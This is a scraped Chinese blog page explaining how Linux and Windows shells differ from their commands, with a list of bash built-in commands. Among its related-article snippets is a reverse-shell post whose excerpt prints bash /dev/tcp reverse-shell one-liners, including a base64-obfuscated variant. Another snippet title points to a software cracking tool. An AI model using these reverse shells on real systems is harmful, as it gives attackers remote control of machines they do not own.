linux shell 和linux 命令的区别?windows shell 和 windows 命令呢?

了解 Windows Linux 下命令行 Shell 启动程序传参的区别,这下不用再担心 Windows 下启动程序传参到 Linux 下挂掉了 启动某个程序,再带上一堆参数,这几乎是程序员们每天必做到事情。另外再算上各种辅助程序员们的自动化脚本,辅助构建的 CI(持续集成)等等,程序员们在创造大量的应用程序然后调用它们。 但是,不经常跨系统玩这些的小伙伴们注意了,Windows 下的 Shell 和 Linux 下的 Shell 是有区别的!如果你不了解这些区别,很容易造成在 Windows 下编写的代码/脚本在 Linux 下无法使用的问题。 本文列举 Windows/Linux 下 Shell 的区别。 本文内容分号(;)路径空格路径分隔符其 阅读详情

shell翻译成壳的意思,它是包裹在linux内核外层的,一个可通过一系列的linux命令对操作系统发出相关指令的人机界面。shell可以通过其条件语句和循环语句等,把一系列linux命令结合在一起,形成一个相当于面向过程的程序,shell script,来实现一些较为复杂的功能。

总括,shell是linux命令集的概称,是属于命令行的人机界面。Shell 是一个用C语言编写的程序,它是用户使用Linux的桥梁。Shell既是一种命令语言,又是一种程序设计语言。Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。Ken Thompson的sh是第一种Unix Shell,Windows Explorer是一个典型的图形界面Shell。Shell 和Shell Script不是一回事,通常我们说的都是Shell Script。

Shell 编程跟java、php编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。

Linux的Shell种类众多,常见的有:

  • Bourne Shell(/usr/bin/sh或/bin/sh)
  • Bourne Again Shell(/bin/bash)
  • C Shell(/usr/bin/csh)
  • K Shell(/usr/bin/ksh)
  • Shell for Root(/sbin/sh)
  • ……
  • shell是一个命令解释器,处于内核和用户之间,负责把用户的指令传递给内核并且把执行结果回显给用户,同时,shell也可以作为一门强大的编程语言。

在Windows平台上,shell=cmd.exe(Command shell)用windows上的命令可以写一个批处理文件,点击执行,如 test.bat。


shell内置命令和外部命令的区别

内部命令实际上是shell程序的一部分,其中包含的是一些比较简单的linux系统命令,这些命令由shell程序识别并在shell程序内部完成运行,通常在linux系统加载运行时shell就被加载并驻留在系统内存中。内部命令是写在bash源码里面的,其执行速度比外部命令快,因为解析内部命令shell不需要创建子进程。比如:exit,history,cd,echo等。

外部命令是linux系统中的实用程序部分,因为实用程序的功能通常都比较强大,所以其包含的程序量也会很大,在系统加载时并不随系统一起被加载到内存中,而是在需要时才将其调用内存。通常外部命令的实体并不包含在shell中,但是其命令执行过程是由shell程序控制的。shell程序管理外部命令执行的路径查找、加载存放,并控制命令的执行。外部命令是在bash之外额外安装的,通常放在/bin,/usr/bin,/sbin,/usr/sbin…等等。可通过“echo $PATH”命令查看外部命令的存储路径,比如:ls、vi等。

用type命令可以分辨内部命令与外部命令:
在这里插入图片描述
内部命令和外部命令最大的区别之处就是性能。内部命令由于构建在shell中而不必创建多余的进程,要比外部命令执行快得多。因此和执行更大的脚本道理一样,执行包含很多外部命令的脚本会损害脚本的性能。


Shell内置命令

主要Shell内置命令

Shell有很多内置在其源代码中的命令。这些命令是内置的,所以Shell不必到磁盘上搜索它们,执行速度因此加快。不同的Shell内置命令有所不同。

A.2.1 bash内置命令

.:执行当前进程环境中的程序。同source。

. file:dot命令从文件file中读取命令并执行。

: 空操作,返回退出状态0。

alias:显示和创建已有命令的别名。

bg:把作业放到后台。

bind:显示当前关键字与函数的绑定情况,或将关键字与readline函数或宏进行绑定。

break:从最内层循环跳出。

builtin [sh-builtin [args]]:运行一个内置Shell命令,并传送参数,返回退出状态0。当一个函数与一个内置命令同名时,该命令将很有用。

cd [arg]:改变目录,如果不带参数,则回到主目录,带参数则切换到参数所指的目录。

command comand [arg]:即使有同名函数,仍然执行该命令。也就是说,跳过函数查找。

declare [var]:显示所有变量,或用可选属性声明变量。

dirs:显示当前记录的目录(pushd的结果)。

disown:从作业表中删除一个活动作业。

echo [args]:显示args并换行。

enable:启用或禁用Shell内置的命令。

eval [args]:把args读入Shell,并执行产生的命令。

exec command:运行命令,替换掉当前Shell。

exit [n]:以状态n退出Shell。

export [var]:使变量可被子Shell识别。

fc:历史的修改命令,用于编辑历史命令。

fg:把后台作业放到前台。

getopts:解析并处理命令行选项。

hash:控制用于加速命令查找的内部哈希表。

help [command]:显示关于内置命令的有用信息。如果指定了一个命令,则将显示该命令的详细信息。

history:显示带行号的命令历史列表。

jobs:显示放到后台的作业。

kill [-signal process]:向由PID号或作业号指定的进程发送信号。输入kill-l查看信号列表。

let:用来计算算术表达式的值,并把算术运算的结果赋给变量。

local:用在函数中,把变量的作用域限制在函数内部。

logout:退出登录Shell。

popd:从目录栈中删除项。

pushd:向目录栈中增加项。

pwd:打印出当前的工作目录。

read [var]:从标准输入读取一行,保存到变量var中。

readonly [var]:将变量var设为只读,不允许重置该变量。

return [n]:从函数中退出,n是指定给return命令的退出状态值。

set:设置选项和位置参量。

shift [n]:将位置参量左移n次。

stop pid:暂停第pid号进程的运行。

suspend:终止当前Shell的运行(对登录Shell无效)。

test:检查文件类型,并计算条件表达式。

times:显示由当前Shell启动的进程运行所累计用户时间和系统时间。

trap [arg] [n]:当Shell收到信号n(n为0、1、2或15)时,执行arg。

type [command]:显示命令的类型,例如:pwd是Shell的一个内置命令。

typeset:同declare。设置变量并赋予其属性。

ulimit:显示或设置进程可用资源的最大限额。

umask [八进制数字]:用户文件关于属主、属组和其他用户的创建模式掩码。

unalias:取消所有的命令别名设置。

unset [name]:取消指定变量的值或函数的定义。

wait [pid#n]:等待pid号为n的后台进程结束,并报告它的结束状态。
Linux入门学习(1基础操作命令) 一:Linux和Windows的区别 Linux的完全开源的,Windows是闭源的,所以Linux相对与Windows有更多的个人定制能力。 Linux偏向于指令操作(图形界面为辅助),所以使得Linux有很多的操作指令,不适合大部分人使用,Windows更偏向与图形界面(鼠标点击进行操作),所以客户使用面广泛,使用简单。 Linux安全性相对于Windows更加安全,因为Linux的系统... 阅读详情

相关推荐

UDS诊断入门第一课:手把手教你玩转0x10会话控制服务(附ISO14229实战解析)

刚接触汽车电子诊断的工程师们,往往会被厚厚的ISO 14229标准文档和各种专业术语吓退。但就像学习编程要从"Hello World"开始一样,掌握UDS协议的最佳切入点就是0x10诊断会话控制服务。这个看似简单的服务,实际上是整个诊断系统的"钥匙"——它决定了ECU(电子控制单元)当前处于何种工作模式,直接影响着其他诊断服务的可用性。 在实际车辆诊断中,ECU默认处于DefaultSession模式,这种模式下许多高级诊断功能是被禁用的。想象一下你正在开发一个需要刷写ECU固件的工具,如果连最基本的会

weixin_30402343的博客 392

Linux和Windows反弹shell以及变种

Linux bash -i >& /dev/tcp/127.0.0.1/2333 0>&1 bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}' Windows

SHELLCODE_8BIT的博客 2669

MAX31855电路和程序,实现SPI和软件模拟时序两种方式读取数据

1. 概述 MAX31855为热电偶至数字输出转换器,内置14位模/数转换器(ADC)。器件带有冷端补偿检测和修正、数字控制器、SPI兼容接口,以及相关的控制逻辑,在温度控制器、过程控制或监测系统中设计用于配合外部微控制器(μC)工作。提供多个版本的器件,每个版本针对特定的热电偶类型(K、J、N、T或E型)进行优化和调整。热电偶类型以器件型号后缀表示(例如MAX31855K)。 器件输出14位...

睿思派克 1万+

Windows PowerShell 和 Linux BashShell 极简对比

声明:本文不会涉及原理,详细的介绍,也不是入门文章。仅仅从使用上进行简单比较。

kaiyuanheshang的博客 2930

CentOS 环境 sngrep 安装及使用

在呼叫中心类应用开发过程中,经常需要对 SIP 信令抓包,分析排查问题。通常抓包的工具非常多样,如 Wireshark、tcpdump、ngrep 等都是可选项,但是针对 SIP 信令的抓包,sngrep 则更为好用。因为 sngrep 不仅提供了图形界面,还会将一通会话的 SIP 信令关联汇总,非常直观执行以下命令下载 的相关依赖库 1.2 添加 sngrep 的源并导入 执行下面的命令新增一个源仓库配置文件 然后在该文件中写入以下配置内容 执行命令导入源仓库的公钥 1.3 安装 sngrep

谈谈1974 8143

labview的TDMS文件读写

本文先介绍TDMS概念和文件结构,然后介绍VI如何使用,最后分析一个labview的自带范例

观则明的博客 1万+

Linux基础入门到精通之与windows系统的不同

这篇文章主要罗列windows系统和Linux系统最常见的一些区别。

测试-八戒 1107

DDR5 JEDEC标准简析:一次读懂DDR5的核心规范!

JEDEC,全称是,中文名称是「电子元件工程联合委员会」,它是全球权威的存储接口标准制定机构。我们常见的 DDR2、DDR3、DDR4、DDR5 都是它搞出来的。📌 JEDEC 就像存储接口界的“裁判+编剧”——规定谁该怎么跑,怎么演,怎么配合。

weixin_43199439的博客 2567

Linux vs windows 他们之间的区别

本章将会讲解Linux与Windows系统之间的区别

yj11290301的博客 3万+

【ROS2】机械臂MoveIt2

navigation2 专注于移动机器人的导航与定位,处理大范围空间的底盘运动;MoveIt2 专注于机械臂的操作规划,处理多关节协同的末端执行器运动。在复合机器人(如,移动机械臂)navigation2 负责移动到目标区域,MoveIt2 负责机械臂抓取。官网:https://moveit.picknik.ai/main/index.html。

郭老二 591

【Tiny_CD】Tiny_CD变化检测网络详解(含python代码)

tiny-cd网络详解,含论文下载、代码下载地址。

向上生长的程序媛的博客 2161

dos命令和linux命令的区别

dos命令和linux命令的区别

qq_45903282的博客 1451

Open3D 使用RANSAC分割平面【2026最新版】

使用RANSAC从点云中分割平面,用segement_plane函数。博客长期更新,本文最新更新时间为:2026年2月28日。

点云侠的博客 37万+

cmd 命令 和 linux 命令区别

由于之前没有对比过这两种命令, 使用相关命令的时候老是混淆, 今天抽空了解下这两种命令的区别 cmd命令 windows系统上的一个应用程序, 对磁盘文件进行操作, 是一个多用户多任务式的桌面应用(可以多窗口协调工作). 为什么又被称为dos命令? DOS(disk operate system) 磁盘操作系统, 是开发者开发用来往磁盘读写数据的一个系统, 是一个单任务系统, 黑底白字, 都是靠人员手动输入命令来完成工作. Windows系统为了方便原来使用dos系统的用户操作和扩展, 专门开发了

wml_sing的博客 2955

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

cmd命令和linux命令的区别

cmd命令和linux命令看起来很相似,都是在一个控制台输入一些特定的指令去完成一些特定的操作。可是用过的朋友就会发现这些指令是有很多不同的,可是到底有什么不同,要说又说不上来,所以要了解一下。 cmd命令的起源:DOS DOS(Disk Operating System,磁盘操作系统),是Windows系统之前的一个操作系统名称,属于单用户单任务式的,特点通常是黑底白字,用户全靠键...

weixin_30940783的博客 2410

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

Windows 基础(一):深入理解Windows,掌握命令行与Shell

在本文中,我们深入介绍了Windows 系统与LInux系统的不同之处以及终端命令行工具的使用,这些都是红队工作中不可或缺的知识点(特别是不同系统下文件路径等细微差异)。需要强调的是,命令需要多敲多练,方可熟能生巧。

vortex5的博客 2039

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

Windows基础和命令

Windows学习(部分)

baiyian_sec的博客 791

Windows基础之virus编写

如Get-Command、Get-Process、Get-Help、Get-History、Get-Job、Get-Date、Get-Member、Get-Random、Get-Variable、Get-EventLog、Get-ChildItem、Get-Content、Set-Date、Set-Variable、Set-Service、Test-Path、Rename-Item、Move-Item、Invoke-Item、Get-WmiObject。例如,将经常使用的软件图标放在桌面上,方便快速打开。

ciscoj的博客 1108

shell、cmd、dos和脚本语句区别和联系

问题一:DOS与windows中cmd区别 在windows系统中,“开始-运行-cmd”可以打开“cmd.exe”,进行命令行操作。 操作系统可以分成核心(kernel)和Shell(外壳)两部分,其中,Shell是操作系统与外部的主要接口,位于操作系统的外层,为用户提供与操作系统核心沟通的途径。在windows系统中见到的桌面即explorer.exe(资源管理器)是图形shell,而cmd就是命令行shell。这算是cmd与dos的最大区别,一个只是接口、一个是操作系统。只是cmd中的某些命.

李爱涛的博客 1687

Linux命令和windows命令的对比,有哪些优缺点

Linux 命令窗口叫shell 是Linux 操作系统的核心,具备linux 操作系统,对linux来说图形窗口只是一个工具,只具备日常使用,对服务器领域来说,很多功能不能实现。 Windows命令窗口时原dos操作系统只支持部分dos 命令(外部命令,具备很少的功能)。Windows操作系统内核已经全部起用图形化界面。在图形化界面中可以完成全部的操作。 Linux中@:是Linux 专用标识符...

zjy123078_zjy的博客 3398

Linux和Windows是什么?Linux和Windows的区别是什么,DOS与cmd区别,Linux下的shell是什么,linux shell即bash和 cmd

一:Linux和Windows是什么 1.Linux是什么 Linux 由Linus Torvalds模仿UNIX的操作系统,最初主要是用于PC(个人电脑)的操作系统,但现在被用于各种大小系统,如超级计算机,服务器,嵌入式系统。 2.Windows是什么 Windows是Microsoft Corporation开发的操作系统。它广泛用于从家庭到企业。 二:Linux和Windows的区...

ZhangJiqun&191cm&85kg 2384

Linux和Shell

大数据入门 Linux和 Windows区别 Windows Linux 费用 收费且很贵 Linux免费或少许费用 Centos下载地址 Linux目录结构 阿里镜像 https://opsx.alibaba.com/mirror 网易镜像 http://mirrors.163.com/ 清华镜像 https:/...

qq_45469949的博客 133

linux shell 图形编程,shell 的种类 图形/命令行 shell

1.图形界面 ShellGraphical User Interface shell 即 GUI Shell2.命令行 ShellCommand Line Interface shell ,即 CLI Shell1.图形界面 Shell应用最为广泛的 Windows Explorer ( 微软的Windows 系列制作系统),还有广为人知的 Linux Shell,其中 Linux Shell ...

weixin_28221255的博客 688

win7与linux cmd命令大全,cmd命令和linux命令的区别

cmd命令和linux命令看起来很相似,都是在一个控制台输入一些特定的指令去完成一些特定的操作。可是用过的朋友就会发现这些指令是有很多不同的,可是到底有什么不同,要说又说不上来,所以要了解一下。cmd命令的起源:DOSDOS(Disk Operating System,磁盘操作系统),是Windows系统之前的一个操作系统名称,属于单用户单任务式的,特点通常是黑底白字,用户全靠键盘输入命令来完成所...

weixin_42355252的博客 402
上一篇: shell的内建命令和外部命令
下一篇: Bootstrap 下拉菜单(Dropdown)插件
.NET跨平台
博客等级 码龄15年 6066粉丝 738原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值